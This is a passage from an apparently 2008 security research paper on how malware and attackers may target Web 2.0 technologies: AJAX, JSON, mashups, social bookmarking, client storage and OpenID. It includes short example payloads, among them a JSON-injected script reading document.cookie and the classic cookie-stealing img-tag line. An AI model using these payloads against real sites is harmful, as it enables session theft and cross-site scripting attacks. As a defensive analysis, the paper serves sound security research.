SOAP is an XML-based protocol to enable data exchange over HTTP or HTTPS. It was designed to 
solve  the  problem of  HTTP being  incompatible  with  sending  Remote  Procedure  Calls  (RPC) 
between machines. There has been much debate as to whether web applications should use REST or 
SOAP [10]. In practice, the bulk of today's web applications seem to have opted for REST, perhaps 
for the reason quoted on the Yahoo! developer FAQ site [11]:

“Q: Does Yahoo! plan to support SOAP?

Not at this time. We may provide SOAP interfaces in the future, if there is significant demand. We believe 

REST has a lower barrier to entry, is easier to use than SOAP, and is entirely sufficient for these services.”

It is not surprising therefore that it is the manipulation of applications via a RESTful interface that 
is of most interest to attackers.

Underlying concepts and technologies

A whole  range  of  technologies  have  been  developed  to  support  and  advance  modern  web 
applications. Many build on previous technologies, expanding their capabilities according to need. 
In this  section some of the core technologies and concepts that  drive Web 2.0 applications are 
reviewed.

Asynchronous JavaScript and XML (AJAX)

AJAX  refers  to  a  technique  involving  the  combination  of  several  familiar  web  technologies 
including JavaScript, the XmlHttpRequest (XHR) object, XML, HTML, CSS, the Document Object 
Model (DOM) and Extensible Stylesheet Language & Transformation (XSLT). It is perhaps the 
single  most  important  technology  in  popular  Web  2.0  applications.  The  synchronous  nature  of 
traditional HTTP requests creates 'click and wait' applications. Thanks to its asynchronous nature, 
AJAX enables developers to create responsive and interactive web applications. The concept of 
being able to interact with an application, send and receive data to the remote server without having 
to refresh the page, sounds simple, but has huge beneficial consequences. Functionality we take for 
granted in applications owes its existence to AJAX techniques. From auto-completion and drop-
down suggestions  to  full  blown mail  clients,  AJAX has  almost  ubiquitous  presence  in  today's 
powerful web applications.

Historically,  vulnerabilities  in  certain  browser  implementations  of  the  XHR  object  have  given 
attackers opportunities to construct malicious exploit scripts. One of the key security features of the 
XHR,  critical  to  basic  document  object  model  (DOM)  security,  is  the  same-origin  policy 
(sometimes called the same domain policy).

Same-origin policy (SOP)

The  increased  use  of  AJAX  has  interesting  implications  for  application  security.  For  security 
reasons browsers enforce what is  known as a  same-origin policy  for the XHR object [12].  The 
policy is required – it prevents a script loaded from one origin from getting or setting properties of a 
document from a different origin [13]. However, from a design and creativity standpoint only, it is 
restrictive.  Many developers  (for  whom security  is  perhaps  less  of  an immediate  concern than 
creativity and functionality) feel the SOP is overly restrictive and unnecessary.

Of course, SOP is not applied to the inclusion of all forms of content from remote sites. Items such 



as images, scripts, documents and style sheets are routinely included in web pages. In fact the bulk 
of  modern  Web threats  use  this  to  their  advantage  with  compromised  pages  loading  malicious 
content from remote sites via iframe and script tags.

Attacks that violate SOP fall into two camps:

● Impersonation of the user. The attacker attempts to make HTTP requests in the context of 
the user, exploiting the trust a site has in that user.

● Impersonation of the site. The attacker spoofs a site thereby exploiting the trust that user has 
in that site.

There have been several  attempts  to  bypass  the same-origin policy in  order  to have maximum 
flexibility with XHR objects [14,15,16]. One method commonly used in attacks is to issue the XHR 
from within  Adobe/Macromedia Flash.  The  Flash browser  plug-in permits  requests  to  different 
domains if allowed within a policy file on the target server. This may sound like it still presents a 
hurdle,  but  several  large organisations provide such a  policy file in order that  applications  can 
connect to their Web services. These include Yahoo!, Flickr, YouTube and Amazon [17].

Many legitimate web applications use an AJAX proxy on the local server to proxy AJAX requests 
from the application.  The proxy then issues regular  requests  to  the appropriate  remote servers, 
transparently proxying the content back to the web application.

Within the specifications for HTML5, there is support for a concept known as access-control [18]. 
Browser  support  for  this  feature  will  most  likely  be  patchy  (initially  at  least),  but  Firefox  3 
(currently at beta) does already offer support [19]. By including the relevant header in the requested 
page, permission can be granted to allow (or deny) the content to be accessed via cross-site XHR.

Access-Control: allow <domain.com> // permit for domain.com

Access-Control: allow <*> // no restrictions

This will provide developers with additional flexibility (the services that currently permit Flash to 
perform cross-site requests will likely offer support for this mechanism as well). Attackers may use 
the mechanism as well, enabling them to utilise XHR techniques more. Attackers compromise sites 
with iframe or script tags currently, to load remote, malicious content. If they are able to use cross-
site requests from JavaScript, they could be more inventive in attacks. For example, the loading of 
the remote malicious content could be delayed, by hooking when the victim leaves a compromised 
site. Such techniques could be used in attempts to hinder automation used in analysis.

JavaScript Object Notation (JSON)

As its name suggests, JSON describes a format for storing data [20]. It is designed to be readily 
understood by humans (i.e. readable) and machines (i.e. simple to parse). The format is based upon 
structures  very  familiar  to  anyone  with  programming experience  in  just  about  any  language  – 
ordered  lists  of  values  (arrays)  and  collection of  name/value pairs  (objects).  As an example,  a 
snippet of some web search results in JSON format would look something like:

var myJSONObj = { “array”: [ 

{"link":"url1","updatedon":”date1”,"title":"title1","description":"desc1"},

{"link":"url2","updatedon":”date2”,"title":"title2","description":"desc2"},

]

};



JSON is a data format, not a markup language. Its strength lies in the fact that its structure maps 
closely to the raw data (with little additional baggage) and most of the common languages used in 
Web programming  have  built-in  parsers  to  read  from and  write  to  it.  For  the  transfer  of  data 
between services it is preferable to XML (which as a markup language is better suited to document 
exchange).  The JavaScript  interpreter has native support  for JSON formatted data,  enabling the 
developer to simply use eval() constructs to access the data. For example we can use eval() to 
parse and display the data from the above example:

var arrObj = eval('(' +myJSONObj+ ')'); 

 for(Obj in arrObj) { 

 document.writeln("URL: " + arrObj[Obj].link + "<br/>"); 

 document.writeln("Update: " + arrObj[Obj].updatedon + "<br/>"); 

 document.writeln("Title: " + arrObj[Obj].title + "<br/>"); 

 document.writeln("Desc: " + arrObj[Obj].description + "<br/>"); 

 document.writeln("<br/>"); 

}

The convenience of being able to use  eval() has a major shortcoming however. In addition to 
providing  native  handling  of  the  data,  it  also  exposes  the  full  JavaScript  interpreter.  So  JSON 
injection – the act of including malicious content in the JSON data is a risk. This is discussed later 
in the paper. It is for this reason that developers are advised to use a safe JSON parser [21].

Data portability

One of the key concepts of Web 2.0 technologies is the portability of data. The concept of Mashup 
applications (described later on) is all about data portability – integrating data streams from multiple 
web applications in some innovative way.

Syndication

Perhaps the most widespread and obvious example of data portability as far as web content goes, is 
syndication, through the use of data feeds. Such a mechanism is perfect for distributing frequently 
updated  content.  One  of  the  most  recognised  feed  formats  is  one  known  as  Really  Simple 
Syndication (RSS), which uses an XML schema to describe the data.

...

<item>

<title>title1</title>

<link>url1</link>

<description>desc1</description>

<guid isPermaLink="false">id1</guid>

</item>

<item>

<title>title2</title>

<link>url2</link>

<description>desc2</description>

<guid isPermaLink="false">id2</guid>

</item>

...

Syndication  feeds  using  RSS (or  Atom [22])  have  transformed the Web.  They make it  easy  to 
browse a digest of content from a variety of sources, only clicking through to articles of interest. 



There are a variety of applications or browser plug-ins designed to download and present the feed 
data. Additionally some browsers offer native feed support via bookmarks (for example  Firefox: 
'Live Bookmarks', Internet Explorer 7: 'Web Feeds').

Site scraping

Even if a site does not offer a syndication feed, there are applications available which can be used to 
produce one. Services such as OpenKapow [23],  page2rss [24] or  Dapper [25] make it trivial to 
export feeds (in numerous formats) from any site. Such tools are extremely powerful, especially 
when used in conjunction with Mashup editors where data feeds can be combined, manipulated and 
used to drive applications.

Attacking Web Applications

Attackers have been targeting web applications for several years. It is important to understand some 
of the techniques used before looking at how malware may mature and target Web 2.0 applications 
and technologies.

Code injection

A popular technique used by attackers is code injection (or insertion). A phishing attack against an 
Italian bank in January 2008 provides a good example.

The attack targeted a cross-site scripting (XSS) vulnerability in the bank's own site in order to inject 
a  fake  login  form to  harvest  user  credentials  [26].  By  injecting  malicious  code  into  the  page 
generated  by  the  bank's  own  script(!),  the  attackers  where  able  to  bypass  the  DOM  security 
restrictions. This sort of attack renders the SSL technologies used in such transactions useless.

As discussed previously, unsafe treatment of JSON data can provide a mechanism for code injection 
attacks. Suppose the attacker is able to modify raw JSON data – such as by embedding a script. 
From the attackers point of view this could be achieved in several ways. Perhaps the simplest would 
be to target a Mashup application that digests several data feeds, before presenting JSON data back 
to the user. If the attacker is able to manipulate the input feeds, an insecure Mashup may fall victim 
to  the  attack  if  it  does  not  sanity  check  the  data  properly.  As  an  example,  if  we  modify  the 
description data from the earlier example of a JSON object we have:

var myJSONObj = { “array”: [

{"link":"url1","updatedon":”date1”,"title":"title1","description":

Figure 1: Spam message used in an Italian phishing attack. The embedded link exploits a 
vulnerable script on the bank's site to inject code into the login page.



"<script>alert(\”Gotcha\” + document.cookie);<\/script>"}, 

{"link":"url2","updatedon":”date2”,"title":"title2","description":"desc2"}, 

]

};

Using eval() to parse this data will now result in the embedded script being executed. Of course, 
this is a very simplistic example of manipulating JSON data for the purposes of an attack. Attacks 
using this  method  should not succeed nowadays – the technique  is  well  known,  and there are 
plentiful tools and advice for Web developers to ensure their applications are built securely (for 
example, use a JSON parser not eval(), and consider intentionally tainting JSON data [27]).

Function reassignment

JavaScript is a flexible language, many would argue too flexible. Dynamic function reassignment is 
one example of that flexibility. Consider the simple script below:

document.write(“<p>text</p>”);

It simply writes a HTML string to the document (to be rendered as HTML). We can redefine the 
document.write function as follows, in this case replacing it with a pop-up alert.

window.document.write = newWrite; 

document.write('<p>text</p>'); 

function newWrite(msg) { 

  alert(msg); 

}

In an attack scenario, common functions could be targeted. This is where the increased visibility 
that AJAX applications offer the attacker can be a problem. Analysis of the client-side code may 
reveal application-specific functions to target.  This technique is not just applicable to functions. 
Thinking back to the parsing of JSON data, we could take advantage of the native handling of 
JSON data in JavaScript, and target the array constructor itself.

It should be noted that the ability to overwrite prototype methods and properties is not peculiar to, 
or a weakness of JavaScript. Nor is it new. Typically such attacks will succeed only where the Web 
developer has made fundamental errors (such as exporting data in a raw JSON array).

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) attacks are often argued to constitute one of the largest threats to web 
applications today [28].  The reason for this  is  the scope of what  an attacker  can achieve when 
successful, and the sheer number of XSS vulnerabilities out there. Though not inherently Web 2.0 
specific, XSS attacks are very relevant to today's highly interactive and dynamic sites. Additionally, 
the sharing of data that is so fundamental to Web 2.0 technologies increases the scope for how 
attackers  could  potentially  construct  an  XSS attack.  One of  the  challenges  facing  the  attacker 
looking to exploit an XSS vulnerability is how to evade defence filters (such as sanitising user text 
submitted via a form). Increasingly web applications handle data from other Web services. This 
presents an opportunity for the attacker to piggyback on that service, and use it to attack the target 
web application.  Web developers must  ensure content  from all  sources  (human or  remote Web 
services) is treated with equal suspicion, and sanitised appropriately.



Recent, high-profile Web 2.0 specific threats have all used XSS in order to run malicious JavaScript 
in the context of the target page. Brief details for four notorious threats are listed in the table below.

Date Threat name Description

Oct 2005 Spacehero (Samy) MySpace worm. Exploited a known XSS vulnerability in order to modify the 
profile of the user, and add the author as a contact. Users who browsed an 
infected profile where infected [29].

Jun 2006 Yamann (Yamanner) Yahoo! email worm. Exploited an XSS vulnerability in Yahoo! mail in order 
to email itself to other Yahoo! contacts, and harvest email addresses from the 
victim address book [30].

Dec 2006 Ofigel (QuickSpace) MySpace worm. Used JavaScript embedded within a Quicktime movie to 
download  JavaScript  (via  <script src= tag)  which  exploited  a  XSS 
vulnerability  in  MySpace,  through which  it  was  able  to  modify  the  user 
profile in order to embed the movie and infect subsequent visitors [31].

Dec 2007 Adrecl (Woorkut) Orkut worm. Used a Flash based script to download a malicious JavaScript 
and exploit a XSS vulnerability in order to embed a message in other user 
pages  (via  the  Scrapbook  feature),  sending  them a  notification  message. 
Upon  viewing  the  message,  the  malicious  code  runs  again  infecting 
additional user pages [32,33].

Each of these threats have one common factor – bypassing the filters implemented by the target 
application (MySpace or Orkut) in order to deliver the initial XSS attack. Once this is achieved, the 
attacks where able manipulate the web applications with JavaScript running in the context of the 
application domain (for example 'myspace.com') to deliver their payload.

Where internet worms have historically exploited buffer overflow vulnerabilities in OS services, 
these threats  target XSS vulnerabilities  in web applications.  The goal is  the same – exploit  the 
vulnerability  in  order  to  run  malicious  code.  The  key  difference  is  that  web attack  replication 
requires  users  to  request the  malicious  content  (for  example,  browse  an infected  user  profile), 
whereas internet worms actively seek other targets (a 'pull' versus 'push' infection mechanism).

Cross-Site Request Forgery (CSRF)

Unlike XSS, which exploits the trust a user has for a site, CSRF exploits the trust a site has for a 
user. In CSRF attacks, the victim (unknowingly) sends the HTTP requests. The classic examples of 
CSRF attacks use HTML img and  script tags to issue HTTP requests. These tags are used to 
bypass the browser-enforced SOP (which is not applied to them). CSRF techniques are fairly old 
now, and well described elsewhere [34], but a broad understanding is necessary to appreciate how 
malware may use such methods.

Perhaps  the  most  well  known,  recent  CSRF attack  involved a  vulnerability  within  the  Google 
GMail application in September 2007 [35]. The attack required the victim to visit a malicious web 
page whilst they where already authenticate to  GMail – a common scenario with today's multi-
tabbed browsers. A tag within the malicious page issued a HTTP request to the GMail servers which 
manipulated their account settings (the victim was already authenticated).

If successful, the payload of this sort of attack is wide-ranging, entirely dependant upon the target 
application, and the functionality it exposes over the network (RESTful interface). In the proof of 
concept attack demonstrated by GNUCitizen, the payload was to add a filter to the user's account 
settings, which forwarded specific messages to the attacker (i.e. data theft).



Abuse and targeting of Web 2.0 services

In this section we consider how Web 2.0 technologies and applications can be targeted or used by 
attackers. Though we have already seen a few such threats, the numbers are tiny in comparison to 
other, cruder web malware. If there is a gain to the attacker (more victims, more infections, more 
profit) it is likely that malware will evolve to take advantage of newer technologies.

Social bookmarking

As we have already discussed, syndication feeds drive a lot of Web 2.0 content. The integration of 
data from various sources is at the heart of the stereotypical Web 2.0 application. Nowadays the 
power of syndication feeds goes beyond notification and content sharing. Feeds actually dictate the 
content  that  large volumes  of  users  browse.  They provide  the mechanism we use  to  filter  and 
prioritise content. This is the principle of the various social bookmarking services that are available.

A common goal  of  the malware author  is  to  infect  as  many victims possible.  Abuse  of  social 
bookmarking services  could provide an effective way to  achieve this,  by driving  traffic  to  the 
malicious site [36]. Furthermore, as search engines clamp down more tightly on attackers exploiting 
search  engine  optimisation (SEO) techniques  [37],  this  more direct  method of  encouraging site 
traffic is likely to gain in popularity.

Services such as OnlyWire [38] or Social Bookmarks Submitter [39] make it easier for the attacker to 
submit  their  malicious  URL to  multiple  bookmarking  services,  increasing  their  coverage.  The 
OnlyWire API makes it trivial to submit a URL to multiple services with a single request. Though 
such services may take steps to help prevent spammer and attacker abuse, it can be easy to bypass 
these by throttling the requests, and distributing them across multiple (throwaway) user accounts.

Blog sites

The abuse of personal blogging services such as Blogger is commonplace. Throwaway blogs have 
become popular with spammers and malware authors looking to evade URL filtering techniques. 
Often packed with keywords, the blogs typically redirect the victim to some target site exposing the 
victim to malicious code or spam-related products. Attackers are actively abusing blog sites, and 
have been for a while. A notorious spate of malicious blogs was discovered in the middle of 2007, 
used to direct victims to porn sites, and infect them with Zlob and fake spyware scanners [40].

During  the  writing  of  this  paper,  submissions  to  the  Digg and  IndianPad social  bookmarking 
services  have  been  monitored,  and  numerous  rogue  blog  entries  discovered.  The  enticing 
submissions to Digg or IndianPad where clearly visible.

Very  quickly  countless  rogue  blog  sites  where  discovered,  clearly  coordinated  by  the  same 
person/group. In all cases, the page was loaded with enticing or newsworthy links (to catch users 
arriving via search engines). Each link took the user to a redirect page from where they where 
redirected to a medications site.

Figure 2: Example Digg submission of a porn-themed rogue blog site (which 
ultimately redirected to a meds site).



These pages are a good demonstration of the attackers using a combination of techniques to drive 
traffic to their content. In this case, a combination of SEO and social bookmark abuse. The rogue 
blog sites are easy to spot – thanks to the simplistic manner in which they are created. The adoption 
of Web 2.0 technologies may enable the creation of more sophisticated attacks. For example, news 
syndication feeds could be harvested to construct blog pages with topical, interesting content, more 
likely to trick users into browsing the site.

Blog abuse is not limited to the creation of throwaway blogs. The attacker could target the blog 
application itself such that innocent blogs created by users contain malicious content. There has 
been active research for vulnerabilities in popular blogging applications for as long as they have 
existed. Often, it is impossible to say whether the blog application itself was specifically targeted, or 
the site merely caught up with lots of other web sites/servers in a mass compromise. For example, 
we have seen numerous  user blogs hosted by popular  Iranian blog applications that  have been 
attacked, exposing victims to malicious JavaScript.

In these attacks, the script attempts to exploit a browser vulnerability to download and execute other 
malware.  As  discussed  in  the  introduction,  attacks  against  sites  or  web  servers  in  order  to 
compromise legitimate content are popular due to the large audience that the attacker will inherit.

Mashups

There are numerous Web 2.0 services publicly available and in widespread use. As we have already 
discussed,  the underpinning philosophies of Web 2.0 include the  portability of  information and 
reuse of  technologies.  This  is  never  more  evident  than  with  applications  known  as  mashups. 
Mashup applications combine third-party Web services in order to provide new or innovative sites. 
For example combining news, weather or blog feeds with mapping data or photographs.

Figure 4: Snippet of malicious obfuscated Psyme JavaScript embedded within 
user blog entries on the Iranian blogfa.com site.

Figure 3: Example rogue blog page submitted to a 
social bookmarking service. Each of the links takes the 
victim to a redirect site from where they are taken to a 
meds site.



To feed the appetite for mashups, several mashup editor tools have become available, including 
Google  Mashups Editor (GME) [41],  Yahoo! Pipes [42]  and  Microsoft  Popfly [43].  These tools 
provide a  UI for users  to  write,  test  and publish mashup applications  with minimal  effort.  For 
example, in under 30 minutes it is trivial to create a Yahoo! Pipes mashup to:

● consume feeds from several sources

● remove duplicates (based on URL)

● filter out unwanted entries (e.g. stories related to US elections!)

● output combined feed in various formats (RSS, JSON etc.)

Petkov has provided some interesting examples of how hackers could utilise mashup applications in 
their creations [44]. There are many ways in which such tools could be used to construct attacks, be 
they  malware,  spam  or  phishing  oriented.  It  would  be  reasonably  straightforward  to  create  a 
dynamic web-based mechanism for command distribution to a group of compromised machines (a 
Web 2.0 take on the classic botnet). By using legitimate applications and services for dissemination 
of the commands, it makes it harder to block the attack by URL filtering.

One of  the problems with building mashup applications is  that  of trust.  Naive developers  may 
blindly trust third-party content and fail to sanitise it appropriately. This provides an opportunity for 
the attacker – if they are able to control or poison the feed from one particular Web service, they 
could potentially attack consumers of any dependant mashup. The number of potential victims rises 
dramatically when the mashup digests down to a popular widget which many users may embed 
within their homepage.

The power of mashups is  obvious  if  you consider  the range of  Web services  that  are  publicly 
available.  There  a  number  of  ways  in  which  such  services  could  be  abused  by  hackers.  The 
beginnings of this have already been seen, several years ago. In 2004, the Perl/Santy worm [45] 
defaced web sites running a vulnerable version of the popular  phpBB messaging software.  The 
worm used  Google search results  to  identify  potentially  vulnerable  victim sites.  In fact,  before 
Santy, W32/Mydoom-O used a variety of search engines to try and find additional email addresses 
to send itself to [46]. Both of these cases are good examples of malware using the web to gather 
information to enhance their propagation.

Rather than simply being a tool for the attacker, a mashup application could itself be the target of an 
attack. Attackers may intentionally use a mashup application almost as a proxy between themselves 

Figure 5: Example feed merging application built with the Yahoo! Pipes mashup 
editor



and some Web service, either to separate themselves from the attack, or to exploit the additional 
privileges the mashup may have over regular users. A number of Web services offer limited APIs 
publicly,  but more more powerful APIs to specific consumers.  Limitations typically include the 
range of functions available, and the number of transactions that may be performed (i.e. forms of 
throttling).

Web  applications  sporting  all-in-one  interfaces  are  extremely  popular  and  tempting  to  users. 
However it is important to consider other security impacts such an application may have. Consider 
the increasingly popular concept of personalized homepages. Directly authenticating with certain 
services (email for example) might ordinarily use an encrypted connection (SSL). If the mashup 
application does  not  use SSL,  those credentials  may be exposed on the network accessible  by 
attackers  or  malware  alike.  Properly  designed  and  developed  mashup  applications  should  not 
degrade a user's security.

Web service APIs

A huge range of APIs to access services from searching to photographs are publicly available. With 
each API comes a potential opportunity for an attacker. Could it be abused in some way? Are there 
vulnerabilities in the service or applications that use it that could be exploited? As a web application 
consumes  data  from  a  new  service,  its  user  base  is  potentially  exposed  to  such  problems 
(unknowingly most likely). In response to user demand modern Web applications push functionality 
further,  in order  to  create  previously impossible  web applications.  As an example,  a  couple of 
recently available Web service APIs concerned with social networking are described below.

OpenSocial API

This is a project to provide a single API to access and manipulate 'social data' associated with sites 
that  support  the  OpenSocial  API  [47].  What  this  means  to  developers  is  the  ability  to  write 
applications that can run on any site (or 'container' to use the OpenSocial parlance) that supports the 
OpenSocial API (for example MySpace who recently announced support [48]).

OpenSocial sits in between the user application and the underlying container. For the developer, 
there are some important consequences:

● shielding from the inner-workings of sending/receiving data. Rather than dealing with AJAX 
requests and raw data, developers work with items such as 'Friend' and 'Activity' objects.

● they are more constrained in terms of the JavaScript they can write in their applications for 
any container. This may help prevent against malicious applications. To quote the MySpace 
developer site [49]:

“The OpenSocial platform gives us a chance to let MySpace users play again--this time in a 

safer, more structured, but at the same time more flexible way.”

● easier to develop applications that work on multiple containers.

The future of OpenSocial depends very much on the uptake from major social networking players. 
With Orkut, Plaxo and MySpace already on board, the chances are it will become important in the 
development of future web applications. For the attacker, OpenSocial presents an opportunity to 
write malicious code that is not only independent of the underlying OS, but also independent of the 
target Web application (or 'platform').



Social Graph API

Through use of social networking sites users can opt to expose their profiles publicly. The most 
common type of information stored within profiles is a list of friends for that user. In a world where 
a valid email address has some monetary value, this information is a potential goldmine. Recently 
Google released the Social Graph API [50] which aims to provide developers with a mechanism to 
access this sort of data. For example, a user's relationships in one social network could be suggested 
based on an analysis of relationships declared in other sites. For this to be possible, “relationship 
data” (for example, a list of friends) needs to be machine readable. Currently, two techniques are 
used to provide this information to search engines when sites are indexed:

1) FOAF.  The  Friend  of  a  Friend  (FOAF)  project  [51]  involves  publishing  a  specifically 
formatted file containing relationship data so that it is publicly readable.

2) XFN. Adding the rel attribute [52] to existing HTML anchor tags following the guidelines 
set out in the XHTML Friends Network (XFN) [53] project, enables search engines to locate 
and parse the data.

Essentially, the Social Graph API is about a platform-independant framework for accessing and 
using relationship data [54,55]. How it may be abused remains to be seen, but the ability to mine 
such information is very interesting from several perspectives, including that of the attacker. There 
are obvious benefits, amongst them users not having to re-enter friend details in services they use. 
Equally however, care needs to be taken to avoid the system being abused by scammers, marketeers 
or attackers. Access control is critical – users retaining the ability to control exactly who and what 
can access the information. Failure to do so will see data being leaked via XFN and FOAF.

Online storage

Web sites are routinely abused to host malicious content, but this section is concerned with Web 2.0 
services that  provide users with storage solutions. From fairly transient 'copy/paste bins'  [56] to 
more permanent file repositories (such as Box.net [57]), these type of services have many uses, and 
numerous applications have been built on top of them.

Aside from simple spammer abuse, such services are easily abused by attackers looking to host 
malware which can later be downloaded to the victim machine. This provides a way of evading 
URL filtering techniques (in a similar fashion to how spammers use free image hosting services to 
host images used in spam). Two example attacks abusing online services are described below.

Figure 6: Two example Web attacks showing abuse of (A) Box.net and (B) pastebin.ca online storage 
services to host malware which is download from other compromised sites.



Some of the storage services provide powerful APIs to enable the development of applications that 
use the storage service as the backend. This gives the attacker increased flexibility to abuse the 
services.

Client data

Data stored locally on the client comes in several guises. Historically this has been a target area for 
attackers  looking  to  steal  authentication data  (for  example,  Trojans  attempting to  steal  specific 
cookies). The classic XSS example shows how to steal cookie data with malicious JavaScript.

document.write('<img src="file.php?c=\'' + encodeURI(document.cookie) 

+ '\'">');

Such  an  attack  is  OS-independant  –  the  payload  is  delivered  entirely  by  malicious  JavaScript 
running within the browser. This is important for the attacker. By targeting data within the browser 
environment (often termed 'data in the cloud'), the attack is not confined to a specific underlying 
OS.

Client-side data is either persistent (survives closing the browser, though there still may be some 
longer term expiry date) or non-persistent (destroyed with the browser). As far as the attacker is 
concerned, knowledge about the persistence, contents and accessibility of the data is essential. The 
table below summarises the key characteristics of some common client-side storage mechanisms.

Type Persistence Size Browser Access Restriction Support

Cookie Both small (~4kB) Y Domain + Path All browsers

Flash Persistent large (100kB+) N (Flash VM) N/A requires Flash

DOM Both large Y Domain only Mozilla only

One of the important ramifications of Web 2.0 applications is the increased reliance on client-side 
data manipulation and storage. As applications become more powerful and complex, will there be 
an increase in the volume of data stored on the client? Will the content of such data become more 
sensitive? What about the type of storage being used and how that affects the attack? Considerations 
such as the following are important.

● Though size limited, data stored within cookies is highly accessible – once running within 
the context of the relevant document (e.g. successful XSS), a malicious script can easily 
steal data within.

● Flash cookies may contain much more data, but are inaccessible from the browser.

● DOM storage may well be targeted by attackers (may contain large volume of data which is 
easily accessible from JavaScript). However, it is relatively new (defined within the HTML5 
specifications [58]) and support is limited so it is not widely used yet.

Users are very much at the mercy of the application developer. Poorly designed applications may 
leave  vulnerabilities  which  an  attacker  could  exploit  to  steal  data.  Exactly  how  an  attack  is 
constructed  may  be  application-specific.  Analysis  of  how  a  particular  web  application  stores 
information on the client may yield information which can be used to construct an attack to harvest 
that information.



Mid-2007 saw the release of  Google Gears [59],  an application to enable offline access to web 
applications. Since then, the  Dojo Offline Toolkit [60] has been released, which works in tandem 
with  Gears to  help  satisfy  the  growing  requirement  from  application  developers  for  simple 
development of offline-compatible applications. The next major release of Mozilla Firefox (version 
3)  is  set  to  include  offline  capabilities  [61].  Irrespective  of  the  offline  solution  chosen,  robust, 
scalable client-side storage is obviously required. In the case of Google Gears, this is provided by 
local  SQLite databases. Though such applications take steps to prevent attack, the possibility for 
client-side SQL injection attacks is introduced as pointed out previously [62].

Identity

Many of the popular online applications and services require some form of authentication. This can 
be cumbersome for users to  manage,  leading to  the inevitable use of identical  user names and 
passwords for multiple sites (which in itself is a significant security risk). Despite several services 
offering  single  sign-on  capabilities  to  access  all  the  services  under  a  particular  umbrella  (for 
example using your Yahoo! authentication to access resources on Flickr), there is a desire for more 
consolidation – being able to use a single point of authentication for all compatible web sites.

OpenID

An initiative from the open source community,  OpenID [63] aims to simplify authentication by 
proposing a framework to use a personal URI (for example a personal blog) for establishing an 
online identity.  It  enables  a  user  to  remember  just  that  URI and a  single  password,  instead of 
multiple  user  names  and  passwords.  An  growing  number  of  sites  are  supporting  OpenID 
authentication, making it increasingly popular amongst users.

Clearly  there  are  phishing  opportunities  for  attackers  when  anything  authentication-related  is 
concerned. Attackers will almost certainly target user confusion with OpenID authentication.

One interesting aspect of OpenID is the concept of delegation. Users can choose any of the OpenID 
providers and will receive a URI identifier from each (e.g. https://username.myopenid.com/). But if 
they change providers (by choice or because their old provider stops the service) then their personal 
URI will change. So, users can delegate their choose of provider via a personal Web page:

<link href='http://www.myopenid.com/server' rel='openid.server'/>

<link href='http://username.myopenid.com/' rel='openid.delegate'/>

In this way, users can use the URI to their personal Web page as their identifier, enabling it to 
remain unchanged, irrespective of authentication services coming and going. They simply change 
their homepage to reflect who they delegate to.

For  the  attacker,  delegation  presents  another  opportunity  –  it  exposes  potentially  valuable 
information. Consider the case where the OpenID provider offers other services (email, web hosting 
for example). Attackers could easily use search engines to find delegation links and extract OpenID 
URIs.  For  some of these if  the attacker  is  able  to extract  the user name,  they may be able  to 
determine the email address,making an effective mechanism for spammers. For this reason some 
providers opt to use obfuscated OpenID URIs, hiding the user name [64].

If a phishing attack is used to successfully compromise a user's OpenID, the attacker would be able 
to subsequently authenticate as that use with any OpenID-supporting site. This is not an inherent 
weakness of OpenID, but a simple consequence of a single sign-on (SSO) mechanism (one of the 
reasons SSO is often used in conjunction with two-factor authentication).



Discussion

In  this  paper  we have  reviewed some of  the core technologies  that  underpin  modern  Web 2.0 
applications and services. Central to Web 2.0, and highly relevant to Web 2.0 malware is the ability 
to  transparently  interact  with  the  remote  server  (without  any  user  interaction)  using  AJAX 
techniques  within  JavaScript.  There  are  numerous  consequences  to  web  applications  making 
increased use of AJAX, but some important ones are outlined below:

● AJAX broadens the attack surface. Additional exposure is provided to the attacker. Analysis 
of client-side JavaScript  may yield information to the attacker  about  an application that 
enables them to construct an attack.

● Client-side data processing. More data is processed on the client-side (as opposed to at the 
server). This increases the opportunities for attackers to steal or modify data.

● Response parsing. For the attacker, one of the attractive things about using the XHR object 
to initiate the request to the server is that the response can be parsed within JavaScript. This 
is a necessity – legitimate applications parse the response and update the DOM (render the 
information to the user). However, for attackers it is an opportunity to interact with the web 
application as a user.

The  latter  point  is  important.  By  using  AJAX  to  initiate  requests  to  the  server  that  are 
indistinguishable from legitimate user requests, it is impossible for the web application to identify 
the requests as malicious and block them. Thus an attacker is able to deliver their payload (changing 
settings,  sending messages,  propagating etc.).  The ability to  parse the response is  what enables 
attackers to negotiate multi-stage transactions (a common and successful defence against  CSRF 
attacks). This is exactly what Yamann did to bypass that defence on the Yahoo! mail application.

The Web 2.0 specific threats we have seen thus far have all targeted popular Web 2.0 applications, 
using a combination of XSS with AJAX in order to interact with the application and deliver the 
payload. In the cases where that payload results in some persistent modification of a page (e.g. 
infecting a user profile) the attacker is able to create a worm within that web application.

A JavaScript worm, propagating through a Web 2.0 application is certainly the headline grabber, 
and  it  is  not  surprising  that  early  attacks  have  focussed  on this.  Such items  are  'fast  burners', 
propagating  fast,  affecting  many  users,  but  ultimately  short-lived.  What  if  the  threats  where 
developed  to  be  more  subtle?  If  they  where  to  propagate  more  slowly  or  use  self-throttling 
techniques  there  would  less  chance  of  either  victims  or  the  administrators  of  the  target  web 
applications  noticing  them.  A shift  towards  more  subtle,  payload-focussed  threats  is  somewhat 
inevitable. We have seen it elsewhere with malware, the vast bulk now being financially motivated.

A discussion of Web 2.0 threats is not limited to items that specifically target Web 2.0 applications. 
It encompasses the array of applications and services that could be used by attackers in constructing 
an attack. There is huge scope for malware to use the power of these tools and services in the 
construction of attacks. Some possibilities are considered below.

● Automatically  construct  advanced  social  engineering  attacks  by  digesting  topical  news 
stories from feeds.

● Use social bookmarking sites to raise the profile of the drive-by site, maximising traffic 
(therefore potential number of victims).

● Evade filtering and law enforcement. Adding more links between the attacker and the victim 
makes it harder to thwart an attack by 'cutting the head off'.



● Dynamic content, driven from data feeds. Dynamically changing threat content is a standard 
technique used in an attempt to evade detection by malware scanners.

● Construct a web-based control infrastructure to distribute commands or malicious content.

The  modern  Web  services  and  applications  found  in  today's  attackers'  tool  kits  are  somewhat 
analogous to the command-line utilities of old.

The recent push towards cross-application services (OpenID authentication, OpenSocial API and 
Social  Graph  API)  aims  to  break  down  some  of  the  walls  between  popular  web  platforms. 
Developers are aware that most users use several platforms, and want to be able to share data and 
applications between them. For the attacker it  is  yet  another opportunity – the ability to create 
malicious code that could affect multiple web platforms.

The conflict  between information  disclosure  (exposing a  user's  relationship  data)  and  concerns 
about  privacy  presents  an  interesting  problem.  User  demand  for  more  interaction  between 
applications will likely drive the increased exposure of information. It is possible that users with 
hitherto unconnected personal and business relationships may find them connected by technologies 
